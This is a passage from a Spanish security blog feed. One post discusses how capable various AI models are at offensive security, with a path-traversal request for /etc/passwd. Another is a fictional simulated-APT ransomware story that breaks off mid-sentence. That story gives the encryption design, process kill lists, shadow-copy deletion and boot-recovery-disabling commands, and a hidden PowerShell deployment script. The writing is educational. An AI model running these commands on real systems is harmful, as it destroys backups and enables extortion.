dir=&quot;ltr&quot; id=&quot;code-block-viewer&quot;&gt;&lt;div class=&quot;cm-scroller&quot;&gt;&lt;pre class=&quot;cm-content q9tKkq_readonly m-0&quot;&gt;&lt;code&gt;&lt;span class=&quot;ͼl&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;ͼk&quot;&gt;&quot;/upload?file=../../../../etc/passwd&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/pre&gt;
&lt;p data-end=&quot;2620&quot; data-start=&quot;2585&quot;&gt;Impresionante para un principiante, pero normal para un pentester. Útil, pero no revolucionario.&lt;/p&gt;
&lt;h1 data-end=&quot;2709&quot; data-section-id=&quot;m9sd4o&quot; data-start=&quot;2685&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Nivel 2: los analistas&lt;/span&gt;&lt;/h1&gt;
&lt;p data-end=&quot;2739&quot; data-start=&quot;2711&quot;&gt;Aquí empieza lo interesante. Modelos como DeepSeek-R1, GPT-5.5 o Claude Opus destacan menos por generar código y más por interpretar sistemas completos. Supongamos por ejemplo una aplicación con un frontend React, un backend Java Spring, Redis, Kafka, Kubernetes, e integración SAML.&lt;/p&gt;
&lt;p data-end=&quot;3048&quot; data-start=&quot;2992&quot;&gt;Un modelo de primera generación ve componentes aislados. Un modelo avanzado empieza a preguntarse:&lt;/p&gt;
&lt;ul data-end=&quot;3292&quot; data-start=&quot;3093&quot;&gt;
&lt;li data-end=&quot;3149&quot; data-section-id=&quot;rok47w&quot; data-start=&quot;3093&quot;&gt;
¿Existe confusión de identidad entre proveedores SAML?
&lt;/li&gt;
&lt;li data-end=&quot;3188&quot; data-section-id=&quot;16uvh2l&quot; data-start=&quot;3150&quot;&gt;
¿Hay trust boundaries mal definidas?
&lt;/li&gt;
&lt;li data-end=&quot;3247&quot; data-section-id=&quot;rzpagr&quot; data-start=&quot;3189&quot;&gt;
¿Qué ocurre si Redis se usa como cache de autenticación?
&lt;/li&gt;
&lt;li data-end=&quot;3292&quot; data-section-id=&quot;16mpnfw&quot; data-start=&quot;3248&quot;&gt;
¿Hay inconsistencias entre microservicios?
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;3329&quot; data-start=&quot;3294&quot;&gt;Ya no estamos hablando de payloads. Estamos hablando de arquitectura. Y muchas vulnerabilidades modernas nacen precisamente ahí.&lt;/p&gt;
&lt;h1 data-end=&quot;3486&quot; data-section-id=&quot;1tcqnvl&quot; data-start=&quot;3431&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;El salto cualitativo: descubrir relaciones invisibles&lt;/span&gt;&lt;/h1&gt;
&lt;p data-end=&quot;3569&quot; data-start=&quot;3488&quot;&gt;Las vulnerabilidades más valiosas rara vez aparecen en una única línea de código. Aparecen cuando dos componentes perfectamente válidos interactúan de manera inesperada.&lt;/p&gt;
&lt;p data-end=&quot;3681&quot; data-start=&quot;3660&quot;&gt;Ejemplo simplificado:&lt;/p&gt;
&lt;p data-end=&quot;3694&quot; data-start=&quot;3683&quot;&gt;Servicio A:&lt;/p&gt;
&lt;pre class=&quot;overflow-visible! px-0!&quot; data-end=&quot;3739&quot; data-start=&quot;3696&quot;&gt;&lt;div class=&quot;relative w-full mt-4 mb-1&quot;&gt;&lt;div&gt;&lt;div class=&quot;contents&quot;&gt;&lt;div class=&quot;border border-token-border-light border-radius-3xl corner-superellipse/1.1 rounded-3xl&quot;&gt;&lt;div class=&quot;relative h-full w-full border-radius-3xl bg-token-bg-elevated-secondary corner-superellipse/1.1 overflow-clip rounded-3xl lxnfua_clipPathFallback&quot;&gt;&lt;div class=&quot;pointer-events-none absolute inset-x-4 top-12 bottom-4&quot;&gt;&lt;div class=&quot;pointer-events-none sticky z-40 shrink-0 z-1!&quot;&gt;&lt;div class=&quot;sticky bg-token-border-light&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;relative&quot;&gt;&lt;div class=&quot;h-full min-h-0 min-w-0&quot;&gt;&lt;div class=&quot;h-full min-h-0 min-w-0&quot;&gt;&lt;div&gt;&lt;div class=&quot;relative&quot;&gt;&lt;div&gt;&lt;div class=&quot;relative z-0 flex max-w-full&quot;&gt;&lt;div class=&quot;q9tKkq_viewer cm-editor z-10 light:cm-light dark:cm-light flex h-full w-full flex-col items-stretch ͼd ͼr&quot; dir=&quot;ltr&quot; id=&quot;code-block-viewer&quot;&gt;&lt;div class=&quot;cm-scroller&quot;&gt;&lt;pre class=&quot;cm-content q9tKkq_readonly m-0&quot;&gt;&lt;code&gt;&lt;span class=&quot;ͼg&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ͼm&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;ͼg&quot;&gt;.&lt;/span&gt;is_admin:&lt;br /&gt;    &lt;span class=&quot;ͼm&quot;&gt;allow&lt;/span&gt;()&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/pre&gt;
&lt;p data-end=&quot;3752&quot; data-start=&quot;3741&quot;&gt;Servicio B:&lt;/p&gt;
&lt;pre class=&quot;overflow-visible! px-0!&quot; data-end=&quot;3813&quot; data-start=&quot;3754&quot;&gt;&lt;div class=&quot;relative w-full mt-4 mb-1&quot;&gt;&lt;div&gt;&lt;div class=&quot;contents&quot;&gt;&lt;div class=&quot;border border-token-border-light border-radius-3xl corner-superellipse/1.1 rounded-3xl&quot;&gt;&lt;div class=&quot;relative h-full w-full border-radius-3xl bg-token-bg-elevated-secondary corner-superellipse/1.1 overflow-clip rounded-3xl lxnfua_clipPathFallback&quot;&gt;&lt;div class=&quot;pointer-events-none absolute inset-x-4 top-12 bottom-4&quot;&gt;&lt;div class=&quot;pointer-events-none sticky z-40 shrink-0 z-1!&quot;&gt;&lt;div class=&quot;sticky bg-token-border-light&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;relative&quot;&gt;&lt;div class=&quot;h-full min-h-0 min-w-0&quot;&gt;&lt;div class=&quot;h-full min-h-0 min-w-0&quot;&gt;&lt;div&gt;&lt;div class=&quot;relative&quot;&gt;&lt;div&gt;&lt;div class=&quot;relative z-0 flex max-w-full&quot;&gt;&lt;div class=&quot;q9tKkq_viewer cm-editor z-10 light:cm-light dark:cm-light flex h-full w-full flex-col items-stretch ͼd ͼr&quot; dir=&quot;ltr&quot; id=&quot;code-block-viewer&quot;&gt;&lt;div class=&quot;cm-scroller&quot;&gt;&lt;pre class=&quot;cm-content q9tKkq_readonly m-0&quot;&gt;&lt;code&gt;&lt;span class=&quot;ͼg&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ͼm&quot;&gt;token&lt;/span&gt;&lt;span class=&quot;ͼg&quot;&gt;.&lt;/span&gt;role &lt;span class=&quot;ͼg&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;ͼk&quot;&gt;&quot;administrator&quot;&lt;/span&gt;:&lt;br /&gt;    &lt;span class=&quot;ͼm&quot;&gt;allow&lt;/span&gt;()&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/pre&gt;
&lt;p data-end=&quot;3848&quot; data-start=&quot;3815&quot;&gt;Ambos son correctos por separado.&lt;/p&gt;
&lt;p data-end=&quot;3903&quot; data-start=&quot;3850&quot;&gt;Pero si existe una traducción defectuosa entre roles:&lt;/p&gt;
&lt;pre class=&quot;overflow-visible! px-0!&quot; data-end=&quot;3946&quot; data-start=&quot;3905&quot;&gt;&lt;div class=&quot;relative w-full mt-4 mb-1&quot;&gt;&lt;div&gt;&lt;div class=&quot;contents&quot;&gt;&lt;div class=&quot;border border-token-border-light border-radius-3xl corner-superellipse/1.1 rounded-3xl&quot;&gt;&lt;div class=&quot;relative h-full w-full border-radius-3xl bg-token-bg-elevated-secondary corner-superellipse/1.1 overflow-clip rounded-3xl lxnfua_clipPathFallback&quot;&gt;&lt;div class=&quot;pointer-events-none absolute inset-x-4 top-12 bottom-4&quot;&gt;&lt;div class=&quot;pointer-events-none sticky z-40 shrink-0 z-1!&quot;&gt;&lt;div class=&quot;sticky bg-token-border-light&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;relative&quot;&gt;&lt;div class=&quot;h-full min-h-0 min-w-0&quot;&gt;&lt;div class=&quot;h-full min-h-0 min-w-0&quot;&gt;&lt;div&gt;&lt;div class=&quot;relative&quot;&gt;&lt;div&gt;&lt;div class=&quot;relative z-0 flex max-w-full&quot;&gt;&lt;div class=&quot;q9tKkq_viewer cm-editor z-10 light:cm-light dark:cm-light flex h-full w-full flex-col items-stretch ͼd ͼr&quot; dir=&quot;ltr&quot; id=&quot;code-block-viewer&quot;&gt;&lt;div class=&quot;cm-scroller&quot;&gt;&lt;pre class=&quot;cm-content q9tKkq_readonly m-0&quot;&gt;&lt;code&gt;{&lt;br /&gt;  &quot;admin&quot;:&lt;span class=&quot;ͼk&quot;&gt;&quot;administrator&quot;&lt;/span&gt;&lt;br /&gt;}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/pre&gt;
&lt;p data-end=&quot;3992&quot; data-start=&quot;3948&quot;&gt;puede aparecer una elevación de privilegios. Esto es precisamente el tipo de razonamiento donde los modelos modernos están empezando a destacar.&lt;/p&gt;
&lt;h1 data-end=&quot;4140&quot; data-section-id=&quot;q5rc35&quot; data-start=&quot;4100&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;El verdadero monstruo: contexto masivo&lt;/span&gt;&lt;/h1&gt;
&lt;p data-end=&quot;4185&quot; data-start=&quot;4142&quot;&gt;Hace unos años un analista humano revisaba un repositorio, algo de documentación, un conjunto de logs... Ahora un modelo puede absorber simultáneamente miles de archivos, RFCs completas, arquitecturas empresariales, manuales internos. el historial completo de tickets....&lt;/p&gt;
&lt;p data-end=&quot;4443&quot; data-start=&quot;4415&quot;&gt;La consecuencia es sencilla:&amp;nbsp;&lt;strong data-end=&quot;4501&quot; data-start=&quot;4445&quot;&gt;encuentra correlaciones que antes requerían semanas.&amp;nbsp;&lt;/strong&gt;No porque sea más inteligente si no porque puede procesar más contexto y a velocidades absurdas.&lt;/p&gt;
&lt;h1 data-end=&quot;4650&quot; data-section-id=&quot;1linyss&quot; data-start=&quot;4604&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Claude Mythos y el miedo de los laboratorios&lt;/span&gt;&lt;/h1&gt;
&lt;p data-end=&quot;4723&quot; data-start=&quot;4652&quot;&gt;Gran parte de la conversación reciente gira alrededor de Claude Mythos. Lo interesante no son las cifras. Lo interesante es qué tipo de tareas empezó a resolver. Los informes públicos describen comportamientos preocupantes:&lt;/p&gt;
&lt;ul data-end=&quot;5049&quot; data-start=&quot;4880&quot;&gt;
&lt;li data-end=&quot;4924&quot; data-section-id=&quot;5kyyen&quot; data-start=&quot;4880&quot;&gt;
Comprensión profunda de software complejo.
&lt;/li&gt;
&lt;li data-end=&quot;4970&quot; data-section-id=&quot;qj1vmx&quot; data-start=&quot;4925&quot;&gt;
Identificación de vulnerabilidades sutiles.
&lt;/li&gt;
&lt;li data-end=&quot;5012&quot; data-section-id=&quot;s7zi71&quot; data-start=&quot;4971&quot;&gt;
Generación de hipótesis de explotación.
&lt;/li&gt;
&lt;li data-end=&quot;5049&quot; data-section-id=&quot;1rm7kts&quot; data-start=&quot;5013&quot;&gt;
Investigación autónoma prolongada.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;5076&quot; data-start=&quot;5051&quot;&gt;No es que &quot;hackee mejor&quot;. Es que parece investigar mejor. Y eso es mucho más importante.&lt;/p&gt;
&lt;h1 data-end=&quot;5180&quot; data-section-id=&quot;13guevt&quot; data-start=&quot;5148&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;GPT-5.5 y la sorpresa incómoda&lt;/span&gt;&lt;/h1&gt;
&lt;p data-end=&quot;5271&quot; data-start=&quot;5182&quot;&gt;Mientras todo el mundo hablaba de Mythos, varios investigadores encontraron algo curioso: en numerosos escenarios reales&amp;nbsp;&lt;span data-end=&quot;5346&quot; data-start=&quot;5306&quot;&gt;GPT-5.5 estaba peligrosamente cerca.&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;5412&quot; data-start=&quot;5348&quot;&gt;La diferencia no era tan grande como sugerían algunos titulares. Especialmente en auditoría de código, reverse engineering, análisis de protocolos y automatización de pruebas.&lt;/p&gt;
&lt;p data-end=&quot;5570&quot; data-start=&quot;5535&quot;&gt;Esto plantea una pregunta incómoda: ¿estamos viendo una convergencia entre los mejores modelos? Cada vez parece más que sí. De hecho, Anthropic lo sabe y por eso se ha apresurado a lanzar también Fable5 que parece tener la misma base, pero con &lt;em data-end=&quot;500&quot; data-start=&quot;480&quot;&gt;guardrails fuertes&lt;/em&gt; (bloqueos + fallback a modelos más seguros). Está claro que no puede esperar a que otras compañías empiecen a adoptar e integrar otros modelos y pone en el mercado un &quot;hermano pequeño&quot;.&lt;/p&gt;
&lt;h1 data-end=&quot;5701&quot; data-section-id=&quot;175zli5&quot; data-start=&quot;5667&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Lo que realmente asusta: agentes&lt;/span&gt;&lt;/h1&gt;
&lt;p data-end=&quot;5748&quot; data-start=&quot;5703&quot;&gt;Aquí está el punto que muchos pasan por alto. Un modelo aislado tiene limitaciones. Un agente no. Con un buen abanico de herramientas disponibles, un flujo y un objetivo claro puede trabajar durante horas (si el consumo de tokens y tu presupuesto lo permiten). Sin intervención humana.&amp;nbsp;&lt;/p&gt;&lt;p data-end=&quot;5748&quot; data-start=&quot;5703&quot;&gt;Ese escenario es mucho más relevante que cualquier benchmark sobre exploits. Sería el equivalente a un junior infinito.&lt;/p&gt;
&lt;p data-end=&quot;6346&quot; data-start=&quot;6291&quot;&gt;Una forma útil de entender la situación actual es esta: Los modelos no son aún un red team senior. Pero sí empiezan a parecerse a un junior extraordinariamente rápido. Un junior que nunca se cansa, nunca olvida documentación y nunca deja de buscar. Y puede ejecutar cientos de tareas paralelas. La productividad resultante es enorme.&lt;/p&gt;
&lt;h1 data-end=&quot;6664&quot; data-section-id=&quot;1ulzja0&quot; data-start=&quot;6643&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Las opciones open source&lt;/span&gt;&lt;/h1&gt;
&lt;p data-end=&quot;6737&quot; data-start=&quot;6666&quot;&gt;Muchos asumen que la amenaza vendrá exclusivamente de modelos cerrados. Error. Los modelos abiertos también avanzan con enorme rapidez. Especialmente DeepSeek-R1, Qwen y Llama.&lt;/p&gt;
&lt;p data-end=&quot;6910&quot; data-start=&quot;6846&quot;&gt;La ventaja actual de los modelos comerciales sigue siendo clara. Pero la distancia ya no se mide en órdenes de magnitud. Se mide en márgenes. Y eso cambia completamente el panorama.&lt;/p&gt;
&lt;h1 data-end=&quot;7091&quot; data-section-id=&quot;buoofh&quot; data-start=&quot;7037&quot;&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Entonces, ¿cuál es el modelo ofensivo más peligroso?&lt;/span&gt;&lt;/h1&gt;
&lt;p data-end=&quot;7146&quot; data-start=&quot;7093&quot;&gt;La respuesta decepcionará a quienes buscan una lista.&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;7158&quot; data-start=&quot;7148&quot;&gt;No es GPT.&lt;/p&gt;&lt;p data-end=&quot;7158&quot; data-start=&quot;7148&quot;&gt;No es Claude.&lt;/p&gt;
&lt;p data-end=&quot;7190&quot; data-start=&quot;7175&quot;&gt;No es DeepSeek.&lt;/p&gt;
&lt;p data-end=&quot;7203&quot; data-start=&quot;7192&quot;&gt;No es Qwen.&lt;/p&gt;
&lt;p data-end=&quot;7237&quot; data-start=&quot;7205&quot;&gt;El sistema más peligroso hoy es:&amp;nbsp;&lt;/p&gt;&lt;p data-end=&quot;7237&quot; data-start=&quot;7205&quot;&gt;&lt;i&gt;Un modelo de frontera conectado a herramientas, memoria, navegación, ejecución de código y automatización.&lt;/i&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/4639454186018418454/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/06/los-modelos-de-ia-ofensivos-mas-peligrosos.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/4639454186018418454'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/4639454186018418454'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/06/los-modelos-de-ia-ofensivos-mas-peligrosos.html' title='Los modelos de IA ofensivos más peligrosos: separando el hype de la capacidad real'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeFxEnwgX-HZtYAwgPdguylcO6qy8ZIFYMrfeUEOgqkRmt5gCiNqwSkz7aTzZawaTL9xqENLYInvS_Oxbnwbmw1fvv1hZSwDEeDadBRv03vTnq-ELqYzjQbEhZBfZtm6f75TGWkChpKrE9AErvjn2M5TaZ0a6qwxiIp44VppDy6TIS_-hQLsftuAYzgw5D/s72-w640-h426-c/bot_copilot3.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-3270598728347079786</id><published>2026-06-04T00:21:42.948+02:00</published><updated>2026-06-04T00:24:05.792+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="APT"/><category scheme="http://www.blogger.com/atom/ns#" term="cripto"/><category scheme="http://www.blogger.com/atom/ns#" term="maldev"/><category scheme="http://www.blogger.com/atom/ns#" term="malware"/><category scheme="http://www.blogger.com/atom/ns#" term="ransomware"/><title type='text'>Anatomía de una APT simulada. Parte 4 - La noche del cifrado, la negociación y el reparto</title><content type='html'>El domingo a las 02:15, IberLogix todavía existía como empresa normal.

A las 02:16, empezó a convertirse en un caso.

Los primeros servidores en caer fueron los de ficheros regionales. No se apagaron. No mostraron pantallazos dramáticos. Simplemente empezaron a transformar documentos en ruido matemático. Los nombres cambiaban. Las extensiones aparecían como pequeñas banderas negras:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Contrato_Marco_TransIber.pdf.orchid
Nominas_Marzo_2026.xlsx.orchid
SAP_Proveedores_Q1.csv.orchid
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

En cada directorio quedaba una nota:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;RESTORE-FILES-IBERLOGIX.txt
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El texto era sobrio:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Your network has been encrypted by Nebula Jackal.
We have also downloaded sensitive company data.

Do not modify encrypted files.
Do not contact recovery companies before reading this message.
Do not attempt to hide the incident from stakeholders.

Portal:
http://[redacted].onion/iberlogix

Your private code:
IBX-7F3A-22C1
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;

La nota no era el ataque. Era el final visible de un ataque que llevaba semanas ocurriendo.&amp;nbsp;&lt;h4 style=&quot;text-align: left;&quot;&gt;OrchidLock: ransomware como sistema de producción&amp;nbsp;&lt;/h4&gt;&lt;div&gt;Nadir había escrito OrchidLock en Rust. No por moda, sino por tres razones: rendimiento, control de memoria y despliegue estático sencillo. El binario era diferente por víctima. Cada build incluye:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;campaign_id
victim_id
public_key
extension
exclusion list
service kill list
share targeting config
operator signature
expiration date
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El ransomware no contenía la clave privada. Nunca. Usaba cifrado híbrido:&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;Por archivo:
  file_key = random 256-bit
  nonce = random 96-bit
  encrypt(file, ChaCha20-Poly1305, file_key, nonce)

Por víctima:
  wrapped_key = X25519/ECDH + HKDF + AEAD(public_key_campaign, file_key)
  append metadata footer
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Footer conceptual:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;ORCHIDLOCKv3
victim_id: 16 bytes
file_id: 16 bytes
nonce: 12 bytes
wrapped_key_len: 2 bytes
wrapped_key: n bytes
tag: 16 bytes
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El flujo:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;for target in enumerate_targets(config) {
    if is_excluded(target) { continue; }
    if is_large_file(target) {
        encrypt_chunks(target);
    } else {
        encrypt_full(target);
    }
    write_note_once_per_directory(target.parent());
    report_progress(target);
}
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

La lista de exclusiones evitaba romper el arranque:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;C:\Windows
C:\Program Files
C:\Program Files (x86)
C:\ProgramData\Microsoft\Windows Defender
bootmgr
ntldr
pagefile.sys
hiberfil.sys
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

La lista de procesos a detener era quirúrgica:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;sqlservr.exe
oracle.exe
veeam.backup.shell.exe
Veeam.Backup.Service.exe
msmdsrv.exe
outlook.exe
excel.exe
winword.exe
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Servicios:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;MSSQLSERVER
SQLSERVERAGENT
VeeamBackupSvc
VSS
OracleService*
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Comandos internos equivalentes:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;vssadmin delete shadows /all /quiet
wmic shadowcopy delete
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

No todos se ejecutaban siempre. El config decidía por host. En servidores críticos, OrchidLock reducía agresividad para mantenerlos arrancables. En estaciones, cifraba más ampliamente.&amp;nbsp;&lt;/div&gt;&lt;h4 style=&quot;text-align: left;&quot;&gt;Despliegue: GPO, SCCM y shares&amp;nbsp;&lt;/h4&gt;&lt;div&gt;El binario llegó por tres rutas:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;1. GPO startup script para workstations seleccionadas
2. PsExec/SMB para servidores con acceso directo
3. SCCM package preparado como fallback
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

Script de despliegue conceptual:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;$src = &quot;\\dc-mad-01\SYSVOL\IBERLOGIX.LOCAL\scripts\orchid.dat&quot;
$dst = &quot;C:\ProgramData\Microsoft\Crypto\orchid.exe&quot;
Copy-Item $src $dst -Force
Start-Process $dst -ArgumentList &quot;--config embedded --mode local&quot; -WindowStyle Hidden
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

En shares, OrchidLock podía cifrar por UNC:

&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;\\fs-mad-04\finance
\\sap-share-01\exports
\\legal-mad-01\cases
&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;

El panel mostraba progreso:

